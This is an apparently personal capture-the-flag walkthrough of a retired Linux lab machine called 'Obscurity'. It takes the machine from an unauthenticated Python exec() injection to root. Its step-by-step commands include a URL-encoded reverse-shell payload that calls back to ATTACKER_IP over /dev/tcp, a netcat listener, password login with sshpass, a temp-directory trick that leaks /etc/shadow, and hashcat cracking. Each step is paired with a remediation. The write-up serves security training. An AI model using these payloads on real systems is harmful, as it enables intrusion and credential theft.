← all walkthroughs

Obscurity

Linux· Medium· Privilege Escalation
owned
2026-07-09
time to own
6m12s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I scanned the target and found a custom Python web server (BadHTTPServer) on port 8080 that served its own source code at a guessable development path. Reading the source revealed that the request handler passed the URL-decoded HTTP path directly into Python's exec(), letting any unauthenticated visitor run arbitrary OS commands.

A crafted HTTP request spawned a reverse shell as the web user (www-data). Filesystem enumeration uncovered plaintext SSH credentials for a local account (robert) stored in his home directory, giving a full user session and the first flag.

A sudo rule permitted robert to run a custom SSH wrapper (BetterSSH.py) as root; the script copied /etc/shadow into a hardcoded temporary directory that I had pre-created as world-readable, exposing the root password hash for offline cracking. Supplying the cracked root password back to the script's su call completed the escalation, delivering the root flag.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD="<a-password-you-choose>"

Attack path — how the box was taken

1EnumerationService enumeration / banner grabbing
Identified services and fingerprinted the custom web server
An nmap scan of the target revealed SSH on port 22 and a custom HTTP server on port 8080 that identified itself as 'BadHTTPServer'. The non-standard server banner and application branding ('0bscura') signalled a home-grown implementation, making it a priority target for source-code review and input-handling flaws.
HTTP/1.1 200 OK ...
Exact commands 2
Identify service versions on both open ports.
nmap -Pn -sV -p 22,8080 $TARGET
Confirm the BadHTTPServer banner and landing page.
curl -sS -i http://$TARGET:8080/
2EnumerationUnauthenticated source-code disclosure (CWE-200)
Downloaded the server's own source code from a public path
Probing common development paths on port 8080 revealed that the server exposed its full Python source file at /develop/SuperSecureServer.py with no authentication. Downloading this file gave me a complete view of every code path, including the critical request-handling logic in serveDoc().
GET /develop/SuperSecureServer.py returned HTTP 200 with full server source; L138-139 exposed the exec() sink.
Exact commands 2
Retrieve the server source without authentication.
curl -sS http://$TARGET:8080/develop/SuperSecureServer.py -o SuperSecureServer.py
Locate the unsafe dynamic evaluation in serveDoc().
grep -n 'exec\|format\|path\|info' SuperSecureServer.py
FixRemove the unauthenticated source-code disclosure endpointHigh
WeaknessThe web server made its own Python source code (SuperSecureServer.py) available to any unauthenticated visitor at a predictable URL under /develop/, giving unauthorised users a complete blueprint of the codebase including the exec() vulnerability used for initial remote code execution.
FixNever place application source files inside the document root. Remove the /develop/ route entirely and ensure the server process runs from a directory that contains only static assets intended for public access. If developer access to source is required at all, gate it behind authentication and restrict it to trusted IP ranges or a VPN.
3ExploitationServer-side code injection via exec() with unsanitised input (CWE-95 / T1059.006)
Injected Python code via the exec()-based path handler and obtained a reverse shell
The source showed that serveDoc() built a Python expression by inserting the raw URL-decoded request path into a format string and then called exec() on the result: info = "output = 'Document: {}'" ; exec(info.format(path)). My own path therefore controls exactly what Python code is evaluated with no authentication required. A URL-encoded payload embedding an os.system() bash reverse-shell call was sent as the HTTP GET path, establishing a shell as www-data (uid=33) on the host.
Exact commands 2
Start a listener on the $USERNAME machine before sending the payload.
nc -lvnp 4444
URL-encoded payload: ';__import__("os").system("bash -c 'bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1'")# — substitute your listener IP for $ATTACKER_IP.
curl -sS "http://$TARGET:8080/%27%3B__import__%28%22os%22%29.system%28%22bash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/$ATTACKER_IP/4444%200%3E%261%27%22%29%23"
FixRewrite the request handler to eliminate unsafe dynamic code evaluationCritical
WeaknessThe serveDoc() function inserted the raw URL-decoded HTTP request path into a Python format string and then called exec() on the result, meaning every incoming HTTP request was a potential unauthenticated remote code execution vector.
FixReplace the exec()-based dispatch entirely with a safe, allowlist-driven file-serving approach: resolve the requested path against a fixed document root using pathlib.Path.resolve(), reject any path that escapes the root with a 403, and stream the matching file directly from disk. Never call exec(), eval(), or compile() on any value that originates from user input, no matter how the input is sanitised beforehand.
4Post-ExploitationCleartext credential exposure on local filesystem (T1552.001)
Located plaintext SSH credentials for the local user robert
Enumerating /home from the www-data shell revealed robert as the only interactive local user. Files in robert's home directory included his SSH password stored in cleartext and a custom authentication helper (BetterSSH/BetterSSH.py). Both artifacts were readable from the low-privilege www-data session without any further escalation.
/home/robert contained credential files and the BetterSSH tool, readable from the www-data session; password [REDACTED: recovered credential] recovered.
Exact commands 3
Enumerate the local user's home directory from the www-data shell.
ls -la /home/robert/
List all files readable as www-data to surface credential artifacts.
find /home/robert -type f -readable 2>/dev/null
Review the escalation helper for logic flaws and hardcoded paths.
cat /home/robert/BetterSSH/BetterSSH.py
FixReplace cleartext credential storage with SSH key authenticationHigh
WeaknessSSH credentials for the user robert were stored in plaintext in his home directory where lower-privileged processes (such as the www-data web server) could read them, turning a web-application compromise into a full user-account takeover with no further effort.
FixRemove all files containing plaintext passwords from the filesystem. Set PasswordAuthentication no and ChallengeResponseAuthentication no in /etc/ssh/sshd_config and distribute SSH public keys only. For any remaining credential files that genuinely must exist, restrict permissions to 600 and place them outside world-traversable directories.
5Lateral MovementValid account reuse via recovered credentials (T1078)
Authenticated as robert over SSH and captured the user flag
Using the plaintext credentials discovered on disk, I opened an SSH session as robert, confirmed account access, and read the user flag. Running sudo -l revealed that robert could execute /home/robert/BetterSSH/BetterSSH.py as root with no password prompt, establishing the privilege-escalation path.
Exact commands 3
Log in as robert using the discovered cleartext password.
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=8 robert@$TARGET
Capture the user flag: <user.txt>.
cat /home/robert/user.txt
Confirm sudo rights — reveals NOPASSWD access to BetterSSH.py as root.
sudo -l
6Privilege EscalationSudo misconfiguration combined with insecure temporary-file handling leaking /etc/shadow (T1548.003)
Exploited BetterSSH.py's insecure temp directory to expose the root password hash, then escalated to root via sudo
BetterSSH.py, which robert could run as root via a passwordless sudo rule, copies /etc/shadow to a hardcoded working directory (/tmp/SSH/) before performing its password comparisons. That directory does not exist on the system by default, causing the script to abort — but when I pre-created /tmp/SSH/ as world-readable (chmod 777), the root process wrote the shadow copy there and it became readable by robert. The root account's SHA-512 password hash was extracted from the copy and cracked offline with hashcat against rockyou.txt, yielding the plaintext '[REDACTED: recovered credential]'. Running BetterSSH.py a second time via sudo and supplying that credential caused the script to invoke 'su root' successfully, granting a root-context shell and delivering the final flag.
Sudo -l: (root) NOPASSWD: /home[REDACTED: sensitive value].py; shadow copy read from /tmp/SSH/; root hash cracked to [REDACTED: recovered credential]; root shell confirmed.
Exact commands 6
Pre-create the hardcoded temp directory as world-readable so the script's shadow copy persists.
mkdir -p /tmp/SSH; chmod 777 /tmp/SSH
Launch the script as root in the background; it writes the /etc/shadow copy to /tmp/SSH/.
sudo /home/robert/BetterSSH/BetterSSH.py &
Read the root-owned shadow copy before the script can delete it.
cat /tmp/SSH/*
Crack the SHA-512 crypt hash offline; result: [REDACTED: recovered credential].
hashcat -m 1800 '<root_hash_from_shadow>' /usr/share/wordlists/rockyou.txt
Run again interactively; enter username 'root' and password '[REDACTED: recovered credential]' at the prompts.
sudo /home/robert/BetterSSH/BetterSSH.py
Capture the root flag: <root.txt>.
cat /root/root.txt
FixRemove the BetterSSH sudo rule and eliminate the script's insecure shadow-file handlingCritical
WeaknessA passwordless sudo rule allowed the low-privilege user robert to execute a custom Python script stored in his own home directory as root. The script wrote a copy of /etc/shadow to a hardcoded path (/tmp/SSH/) that any user could pre-create as world-readable, exposing the root password hash to offline cracking — the cracked password then completed the escalation through the same sudo rule.
FixRemove the BetterSSH.py entry from /etc/sudoers immediately. If a privileged authentication helper is genuinely required, replace it with a properly audited, root-owned binary under /usr/local/sbin (not a user home directory), scoped to the minimum necessary sudo privileges and requiring PASSWD confirmation. Any code that must handle shadow data should create its temp files with Python's tempfile.mkdtemp(dir='/root', prefix='.ssh_') — mode 0o700, readable only by root — and delete them in a finally block so no other user can race-read the content.

Exposed services

22/tcp
8080/tcp